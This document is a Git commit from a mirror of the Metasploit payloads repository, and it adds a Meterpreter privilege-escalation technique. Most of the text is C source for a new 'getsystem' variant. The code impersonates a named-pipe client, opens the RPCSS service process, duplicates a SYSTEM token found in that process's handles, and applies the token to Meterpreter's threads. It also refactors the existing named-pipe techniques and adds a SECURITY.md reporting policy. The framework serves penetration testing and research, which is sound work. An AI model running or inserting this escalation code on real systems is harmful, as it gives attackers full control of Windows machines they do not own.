1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-20 14:39:22 +01:00

Revert "Undo commit for #441"

This reverts commit 8361d5367a, reversing
changes made to db3d5f0896.
This commit is contained in:
William Vu 2020-10-11 20:49:06 -05:00
parent c394680f87
commit 8e3933bed7
12 changed files with 595 additions and 102 deletions

35
.github/SECURITY.md vendored Normal file
View File

@ -0,0 +1,35 @@
# Reporting security issues
Thanks for your interest in making Meterpreter more secure! If you feel
that you have found a security issue involving Metasploit, Meterpreter,
Recog, or any other Rapid7 open source project, you are welcome to let
us know in the way that's most comfortable for you.
## Via ZenDesk
You can click on the big blue button at [Rapid7's Vulnerability
Disclosure][r7-vulns] page, which will get you to our general
vulnerability reporting system. While this does require a (free) ZenDesk
account to use, you'll get regular updates on your issue as our software
support teams work through it. As it happens [that page][r7-vulns] also
will tell you what to expect when it comes to reporting vulns, how fast
we'll fix and respond, and all the rest, so it's a pretty good read
regardless.
## Via email
If you're more of a traditionalist, you can email your finding to
security@rapid7.com. If you like, you can use our [PGP key][pgp] to
encrypt your messages, but we certainly don't mind cleartext reports
over email.
## NOT via GitHub Issues
Please don't! Disclosing security vulnerabilities to public bug trackers
is kind of mean, even when it's well-intentioned, since you end up
dropping 0-day on pretty much everyone right out of the gate. We'd prefer
you didn't!
[r7-vulns]:https://www.rapid7.com/security/disclosure/
[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda

1
c/meterpreter/source/common/common_command_ids.h Normal file → Executable file
View File

@ -55,6 +55,7 @@
#define COMMAND_ID_CORE_TRANSPORT_SETCERTHASH 31
#define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32
#define COMMAND_ID_CORE_TRANSPORT_SLEEP 33
#define COMMAND_ID_CORE_PIVOT_SESSION_NEW 34
#define COMMAND_ID_STDAPI_FS_CHDIR 1001
#define COMMAND_ID_STDAPI_FS_CHMOD 1002
#define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003

View File

@ -5,6 +5,7 @@
#include "precomp.h"
#include "common_metapi.h"
#include "namedpipe.h"
#include "namedpipe_rpcss.h"
#include "tokendup.h"
/*!
@ -105,6 +106,15 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
break;
}
}
if (dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS) {
dprintf("[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS);
if ( (dwResult = elevate_via_service_namedpipe_rpcss( remote, packet )) == ERROR_SUCCESS) {
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS;
break;
}
}
} while( 0 );
if( response )

View File

@ -7,9 +7,10 @@
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service tecnique (#1)
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service tecnique (#2)
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service technique (#1)
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service technique (#2)
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS 4 ///< Identifier for the Named Pipe service technique (RPCSS variant)
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h

View File

@ -3,6 +3,26 @@
#include "namedpipe.h"
#include "service.h"
/*
* A post-impersonation callback that simply updates the meterpreter token to the
* current thread token. This is used by the standard service-based technique.
*/
DWORD post_callback_use_self(Remote * remote)
{
HANDLE hToken = NULL;
// get a handle to this threads token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
dprintf("[ELEVATE] post_callback_use_self. OpenThreadToken failed");
return GetLastError();
}
// now we can set the meterpreters thread token to that of our system
// token so all subsequent meterpreter threads will use this token.
met_api->thread.update_token(remote, hToken);
return ERROR_SUCCESS;
}
/*
* Worker thread for named pipe impersonation. Creates a named pipe and impersonates
* the first client which connects to it.
@ -10,35 +30,35 @@
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hServerPipe = NULL;
HANDLE hToken = NULL;
HANDLE hPipe = NULL;
HANDLE hSem = NULL;
char * cpServicePipe = NULL;
Remote * remote = NULL;
char * cpPipeName = NULL;
BYTE bMessage[128] = {0};
DWORD dwBytes = 0;
BOOL bImpersonated = FALSE;
PPRIV_POST_IMPERSONATION pPostImpersonation = NULL;
do {
if (!thread) {
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
}
cpServicePipe = (char *)thread->parameter1;
remote = (Remote *)thread->parameter2;
hSem = (HANDLE)thread->parameter3;
cpPipeName = (char *)thread->parameter1;
hSem = (HANDLE)thread->parameter2;
pPostImpersonation = (PPRIV_POST_IMPERSONATION)thread->parameter3;
if (!cpServicePipe || !remote) {
if (!cpPipeName) {
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments",
ERROR_BAD_ARGUMENTS);
}
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)", cpPipeName);
// create the named pipe for the client service to connect to
hServerPipe = CreateNamedPipe(cpServicePipe,
hPipe = CreateNamedPipe(cpPipeName,
PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (!hServerPipe) {
if (!hPipe) {
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
}
@ -57,46 +77,46 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
}
// wait for a client to connect to our named pipe...
if (!ConnectNamedPipe(hServerPipe, NULL)) {
if (!ConnectNamedPipe(hPipe, NULL)) {
if (GetLastError() != ERROR_PIPE_CONNECTED)
continue;
}
dprintf("[ELEVATE] pipethread. got client conn.");
dprintf("[ELEVATE] elevate_namedpipe_thread. receieved a client connection");
// we can't impersonate a client untill we have performed a read on the pipe...
if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) {
// we can't impersonate a client until we have performed a read on the pipe...
if (!ReadFile(hPipe, &bMessage, 1, &dwBytes, NULL)) {
DisconnectNamedPipe(hPipe);
CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
}
// impersonate the client!
if (!ImpersonateNamedPipeClient(hServerPipe)) {
bImpersonated = ImpersonateNamedPipeClient(hPipe);
DisconnectNamedPipe(hPipe);
if (!bImpersonated) {
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
}
// get a handle to this threads token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed");
if (pPostImpersonation) {
dprintf("[ELEVATE] elevate_namedpipe_thread. dispatching to the post impersonation callback");
dwResult = pPostImpersonation->pCallback(pPostImpersonation->pCallbackParam);
if (dwResult != ERROR_SUCCESS) {
RevertToSelf();
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. the post impersonation callback failed");
}
// now we can set the meterpreters thread token to that of our system
// token so all subsequent meterpreter threads will use this token.
met_api->thread.update_token(remote, hToken);
}
else {
dwResult = ERROR_SUCCESS;
}
break;
}
} while (0);
if (hServerPipe) {
DisconnectNamedPipe(hServerPipe);
CLOSE_HANDLE(hServerPipe);
if (hPipe) {
CLOSE_HANDLE(hPipe);
}
dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);
return dwResult;
}
@ -116,6 +136,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
char cServiceArgs[MAX_PATH] = {0};
char cServicePipe[MAX_PATH] = {0};
OSVERSIONINFO os = {0};
PRIV_POST_IMPERSONATION PostImpersonation;
do {
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
@ -126,7 +147,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
// filter out Windows NT4
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
SetLastError(ERROR_ACCESS_DENIED);
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
}
@ -143,7 +164,10 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);
hSem = CreateSemaphore(NULL, 0, 1, NULL);
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
PostImpersonation.pCallback = post_callback_use_self;
PostImpersonation.pCallbackParam = remote;
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation);
if (!pThread) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
ERROR_INVALID_HANDLE);
@ -154,7 +178,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
ERROR_ACCESS_DENIED);
}
//wait for the thread to create the pipe(if it times out terminate)
// wait for the thread to create the pipe, if it times out terminate
if (hSem) {
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
@ -164,14 +188,14 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
Sleep(500);
}
// start the elevator service (if it doesnt start first time we need to create it and then start it).
// start the elevator service (if it doesn't start first time we need to create it and then start it).
if (service_start(cpServiceName) != ERROR_SUCCESS) {
dprintf("[ELEVATE] service starting failed, attempting to create");
if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
}
dprintf("[ELEVATE] creation of service succeeded, attempting to start");
// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
// we don't check a return value for service_start as we expect it to fail as cmd.exe is not
// a valid service and it will never signal to the service manager that is is a running service.
service_start(cpServiceName);
}
@ -230,6 +254,7 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
DWORD dwBytes = 0;
DWORD dwTotal = 0;
DWORD dwServiceLength = 0;
PRIV_POST_IMPERSONATION PostImpersonation;
do
{
@ -279,7 +304,10 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
}
hSem = CreateSemaphore(NULL, 0, 1, NULL);
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
PostImpersonation.pCallback = post_callback_use_self;
PostImpersonation.pCallbackParam = remote;
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation);
if (!pThread) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
ERROR_INVALID_HANDLE);
@ -292,9 +320,10 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
//wait for the thread to create the pipe(if it times out terminate)
if (hSem) {
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0)
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
ERROR_ACCESS_DENIED);
}
} else {
Sleep(500);
}

View File

@ -1,7 +1,14 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
typedef DWORD(*PostImpersonationCallback)(LPVOID);
DWORD THREADCALL elevate_namedpipe_thread(THREAD* thread);
DWORD elevate_via_service_namedpipe(Remote* remote, Packet* packet);
DWORD elevate_via_service_namedpipe2(Remote* remote, Packet* packet);
typedef struct _PRIV_POST_IMPERSONATION {
PostImpersonationCallback pCallback;
PVOID pCallbackParam;
} PRIV_POST_IMPERSONATION, * PPRIV_POST_IMPERSONATION;
#endif

View File

@ -0,0 +1,395 @@
#include <winternl.h>
#include "precomp.h"
#include "common_metapi.h"
#include "namedpipe.h"
#include "service.h"
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
typedef NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
typedef NTSTATUS(WINAPI* NTQUERYOBJECT)(HANDLE Handle, DWORD ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
typedef NTSTATUS(WINAPI* PRtlGetVersion)(LPOSVERSIONINFOEXW);
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation = 0,
ObjectTypeInformation = 2
} OBJECT_INFORMATION_CLASS;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessHandleInformation = 51,
} PROCESSINFOCLASS;
typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
{
HANDLE HandleValue;
ULONG_PTR HandleCount;
ULONG_PTR PointerCount;
ACCESS_MASK GrantedAccess;
ULONG ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
typedef struct _OBJECT_TYPE_INFORMATION
{
_UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
UCHAR TypeIndex;
CHAR ReservedByte;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
/*
* Compare two LUID values and return true if they are the same.
*/
BOOL is_equal_luid(const PLUID luid1, const PLUID luid2) {
return ((luid1->HighPart == luid2->HighPart) && (luid1->LowPart == luid2->LowPart));
}
/*
* Get the object type index for token objects. The index changes between versions and using it
* simplifies the searching process.
*/
DWORD get_token_object_index(PULONG TokenIndex)
{
HANDLE hToken = NULL;
NTSTATUS status;
HMODULE hNtdll = NULL;
NTQUERYOBJECT pNtQueryObject = NULL;
DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
POBJECT_TYPE_INFORMATION pObjTypeInfo = NULL;
ULONG ulLength = 0;
do {
if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken)) {
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. OpenProcessToken failed");
}
hNtdll = GetModuleHandle("ntdll");
if (hNtdll == NULL) {
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetModuleHandle(\"ntdll\") failed");
}
pNtQueryObject = (NTQUERYOBJECT)(GetProcAddress(hNtdll, "NtQueryObject"));
if (pNtQueryObject == NULL) {
BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetProcAddress(hNtdll, \"NtQueryObject\") failed");
}
status = pNtQueryObject(hToken, ObjectTypeInformation, NULL, 0, &ulLength);
if (NT_SUCCESS(status)) {
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (1st call)", HRESULT_FROM_NT(status));
}
pObjTypeInfo = (POBJECT_TYPE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength);
if (pObjTypeInfo == NULL) {
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY);
}
status = pNtQueryObject(hToken, ObjectTypeInformation, pObjTypeInfo, ulLength, NULL);
if (!NT_SUCCESS(status)) {
BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (2nd call)", HRESULT_FROM_NT(status));
}
*TokenIndex = pObjTypeInfo->TypeIndex;
dwResult = ERROR_SUCCESS;
} while (0);
if (pObjTypeInfo) {
HeapFree(GetProcessHeap(), 0, pObjTypeInfo);
}
if (hToken) {
CloseHandle(hToken);
}
return dwResult;
}
DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
{
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;;
PPROCESS_HANDLE_SNAPSHOT_INFORMATION pHandleInfo = NULL;
ULONG ulLength = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION);
ULONG tokenIndex;
ULONG i;
ULONG ulMaxPrivCount = 0;
HANDLE hToken = NULL;
HANDLE hBestToken = NULL;
HANDLE hThread = GetCurrentThread();
DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
TOKEN_STATISTICS tokenStats;
LUID systemLuid = SYSTEM_LUID;
HMODULE hNtdll = NULL;
NTQUERYINFORMATIONPROCESS pNtQueryInformationProcess = NULL;
do {
if (get_token_object_index(&tokenIndex) != ERROR_SUCCESS) {
BREAK_WITH_ERROR("[ELEVATE] get_system_token. get_token_object_index failed", ERROR_UNIDENTIFIED_ERROR);
}
hNtdll = GetModuleHandle("ntdll");
if (hNtdll == NULL) {
BREAK_ON_ERROR("[ELEVATE] get_system_token. GetModuleHandle(\"ntdll\") failed");
}
pNtQueryInformationProcess = (NTQUERYINFORMATIONPROCESS)(GetProcAddress(hNtdll, "NtQueryInformationProcess"));
if (pNtQueryInformationProcess == NULL) {
BREAK_ON_ERROR("[ELEVATE] get_system_token. GetProcAddress(hNtdll, \"NtQueryInformationProcess\") failed");
}
do {
ulLength += (sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO) * 16);
if (pHandleInfo) {
HeapFree(GetProcessHeap(), 0, pHandleInfo);
pHandleInfo = NULL;
}
pHandleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength);
if (pHandleInfo == NULL) {
BREAK_WITH_ERROR("[ELEVATE] get_system_token. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY);
}
status = pNtQueryInformationProcess(hProc, ProcessHandleInformation, pHandleInfo, ulLength, &ulLength);
if (NT_SUCCESS(status)) {
break;
}
if (status == STATUS_INFO_LENGTH_MISMATCH) {
continue;
}
dprintf("NtQueryInformationProcess returned NT_STATUS: %ul", status);
BREAK_WITH_ERROR("[ELEVATE] get_system_token. NtQueryInformationProcess failed", status);
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (!NT_SUCCESS(status)) {
BREAK_WITH_ERROR("[ELEVATE] get_system_token. failed to retrieve process handle information", ERROR_UNIDENTIFIED_ERROR);
}
for (i = 0; i < pHandleInfo->NumberOfHandles; i++) {
if (pHandleInfo->Handles[i].ObjectTypeIndex != tokenIndex) {
continue;
}
if ((pHandleInfo->Handles[i].GrantedAccess & TOKEN_ALL_ACCESS) != TOKEN_ALL_ACCESS) {
continue;
}
if (!DuplicateHandle(hProc, pHandleInfo->Handles[i].HandleValue, GetCurrentProcess(), &hToken, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
CONTINUE_ON_ERROR("[ELEVATE] get_system_token. DuplicateHandle failed");
}
if (!GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &ulLength)) {
CloseHandle(hToken);
CONTINUE_ON_ERROR("[ELEVATE] get_system_token. GetTokenInformation failed");
}
if (!is_equal_luid(&tokenStats.AuthenticationId, &systemLuid)) {
CloseHandle(hToken);
continue;
}
if (tokenStats.PrivilegeCount <= ulMaxPrivCount) {
CloseHandle(hToken);
continue;
}
// newer versions of windows have more defined privileges so update the best token to the one with the most
ulMaxPrivCount = tokenStats.PrivilegeCount;
if (hBestToken) {
CloseHandle(hBestToken);
}
hBestToken = hToken;
}
} while (0);
if (hBestToken) {
*phToken = hBestToken;
dwResult = ERROR_SUCCESS;
}
if (pHandleInfo) {
HeapFree(GetProcessHeap(), 0, pHandleInfo);
}
return dwResult;
}
DWORD post_callback_use_rpcss(Remote* remote)
{
SC_HANDLE hScm = NULL;
SC_HANDLE hSvc = NULL;
HANDLE hProc = NULL;
HANDLE hThread = GetCurrentThread();
SERVICE_STATUS_PROCESS procInfo;
DWORD dwBytes;
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hToken = NULL;
do {
hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (hScm == NULL) {
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenSCManager failed");
}
hSvc = OpenService(hScm, "rpcss", SERVICE_QUERY_STATUS);
if (hSvc == NULL) {
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenService failed");
}
if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&procInfo, sizeof(procInfo), &dwBytes)) {
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. QueryServiceStatusEx failed");
}
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId);
if (hProc == NULL) {
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenProcess failed");
}
if (get_system_token(hProc, &hToken) != ERROR_SUCCESS) {
BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. get_system_token failed", ERROR_UNIDENTIFIED_ERROR);
}
if (!SetThreadToken(&hThread, hToken)) {
CloseHandle(hToken);
BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. SetThreadToken failed", ERROR_ACCESS_DENIED);
}
dwResult = ERROR_SUCCESS;
dprintf("[ELEVATE] post_callback_use_rpcss. dispatching to use_self");
met_api->thread.update_token(remote, hToken);
return ERROR_SUCCESS;
} while (0);
if (hProc) {
CloseHandle(hProc);
hProc = NULL;
}
if (hSvc) {
CloseServiceHandle(hSvc);
hSvc = NULL;
}
if (hScm) {
CloseServiceHandle(hScm);
hScm = NULL;
}
return dwResult;
}
DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
THREAD* pThread = NULL;
HANDLE hSem = NULL;
char cPipeName1[MAX_PATH] = { 0 };
char cPipeName2[MAX_PATH] = { 0 };
HMODULE hNtdll = NULL;
OSVERSIONINFOEXW os = { 0 };
HANDLE hPipe = NULL;
DWORD dwPipeUid[2] = { 0, 0 };
PRIV_POST_IMPERSONATION PostImpersonation;
PRtlGetVersion pRtlGetVersion = NULL;
do {
hNtdll = GetModuleHandleA("ntdll");
if (hNtdll == NULL) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
}
pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
if (pRtlGetVersion == NULL) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
}
if (pRtlGetVersion(&os)) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: RtlGetVersion failed");
}
// filter out systems older than Windows 8.1 / Server 2012 R2 (6.3) for this technique
if ((os.dwMajorVersion < 6) || (os.dwMajorVersion == 6 && os.dwMinorVersion < 3)) {
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Windows versions older than 6.3 are unsupported");
}
// generate a pseudo random name for the pipe
dwPipeUid[0] = ((rand() << 16) | rand());
dwPipeUid[1] = ((rand() << 16) | rand());
_snprintf_s(cPipeName1, sizeof(cPipeName1), MAX_PATH, "\\\\.\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]);
// this *MUST* use the "\\localhost\pipe" prefix and not the "\\.\pipe" prefix
_snprintf_s(cPipeName2, sizeof(cPipeName2), MAX_PATH, "\\\\localhost\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]);
dprintf("[ELEVATE] elevate_via_service_namedpipe_rpcss. using pipename: %s", cPipeName1);
hSem = CreateSemaphore(NULL, 0, 1, NULL);
PostImpersonation.pCallback = post_callback_use_rpcss;
PostImpersonation.pCallbackParam = remote;
pThread = met_api->thread.create(elevate_namedpipe_thread, &cPipeName1, hSem, &PostImpersonation);
if (!pThread) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.create failed", ERROR_INVALID_HANDLE);
}
if (!met_api->thread.run(pThread)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.run failed", ERROR_ACCESS_DENIED);
}
// wait for the thread to create the pipe, if it times out terminate
if (hSem) {
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WaitForSingleObject failed", ERROR_ACCESS_DENIED);
}
} else {
Sleep(500);
}
hPipe = CreateFile(cPipeName2, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. CreateFile failed");
}
if (!WriteFile(hPipe, "\x00", 1, NULL, NULL)) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WriteFile failed");
}
WaitForSingleObject(pThread->handle, 5000);
met_api->thread.sigterm(pThread);
met_api->thread.join(pThread);
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. GetExitCodeThread failed", ERROR_INVALID_HANDLE);
}
} while (0);
if (hPipe) {
CloseHandle(hPipe);
}
if (pThread) {
met_api->thread.destroy(pThread);
}
if (hSem) {
CloseHandle(hSem);
}
return dwResult;
}

View File

@ -0,0 +1,6 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H
DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet);
#endif

8
c/meterpreter/source/metsrv/server_pivot_named_pipe.c Normal file → Executable file
View File

@ -163,7 +163,9 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
dprintf("[PIPE] Request ID found and matches expected value");
// we have a response to our session guid request
DWORD sessionGuidLen = 0;
LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, 0);
LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, &sessionGuidLen);
if (sessionGuid != NULL && sessionGuidLen == sizeof(ctx->pivot_session_guid) && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0)
{
#ifdef DEBUGTRACE
PUCHAR h = (PUCHAR)&sessionGuid[0];
dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
@ -173,8 +175,6 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid));
#endif
if (sessionGuid != NULL && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0)
{
dprintf("[PIPE] Session guid returned, looks like the session is a reconnect");
memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid));
@ -212,7 +212,7 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
// with the session now established, we need to inform metasploit of the new connection
dprintf("[PIPE] Informing MSF of the new named pipe pivot");
Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_DIED);
